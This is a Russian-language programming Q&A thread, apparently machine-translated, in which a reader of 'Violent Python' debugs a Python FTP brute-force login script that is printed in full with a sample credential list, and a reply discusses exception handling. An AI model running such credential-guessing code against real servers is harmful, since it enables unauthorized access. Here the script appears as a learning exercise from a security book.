Я следую вместе с кодом из книги Violent Python. Это то, что я здесь, тестирование грубой силы из FTP:Python - Прохождение через исключения?
import ftplib
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print("[+] Trying: "+userName+"/"+passWord)
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print('\n[*] ' + str(hostname) +\
' FTP Logon Succeeded: '+userName+"/"+passWord)
ftp.quit()
return (userName, passWord)
except Exception as e:
pass
print('\n[-] Could not brute force FTP credentials.')
return (None, None)
host = '192.168.95.179'
passwdFile = 'C:/Users/Andrew/Documents/Python Stuff/userpass.txt'
bruteLogin(host, passwdFile)
Используя пример «userpass.txt», состоящий из:
administrator:password
admin:12345
root:secret
guest:guest
root:root
При запуске (я использую Python 3.4, кстати) она должна возвращать результат этого:
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[*] 192.168.95.179 FTP Logon Succeeded: guest/guest
выше приведен пример успешного входа в систему, конечно. При фактическом запуске он возвращает «Не удалось найти принудительные учетные данные FTP», но, кажется, пытается попробовать только первую строку текстового файла, вместо того чтобы проходить через исключение и пробовать другие строки, как описано в книге , Есть идеи?
Отлично, спасибо. Теперь, пытаясь выполнить код, я получаю сообщение об ошибке «[WinError 10061] Никакое соединение не может быть сделано, потому что целевая машина активно отказалась». Этого не случилось с кодом, который я использовал раньше. – Karrigan
Технически, это потому, что вы больше не поймаете это исключение. Вы можете либо добавить его к предложению 'except', если вы уверены, что это означает, что учетные данные недействительны, или вы можете сделать вывод, что что-то пошло не так, и обрабатывайте его по-разному, например. путем выхода из цикла с сообщением о том, что сервер не является кооперативным. То, что здесь правильно, зависит от вашего прецедента, но именно поэтому я защищаю определенные исключения: только делая это, вы даже получаете возможность делать такие различия. –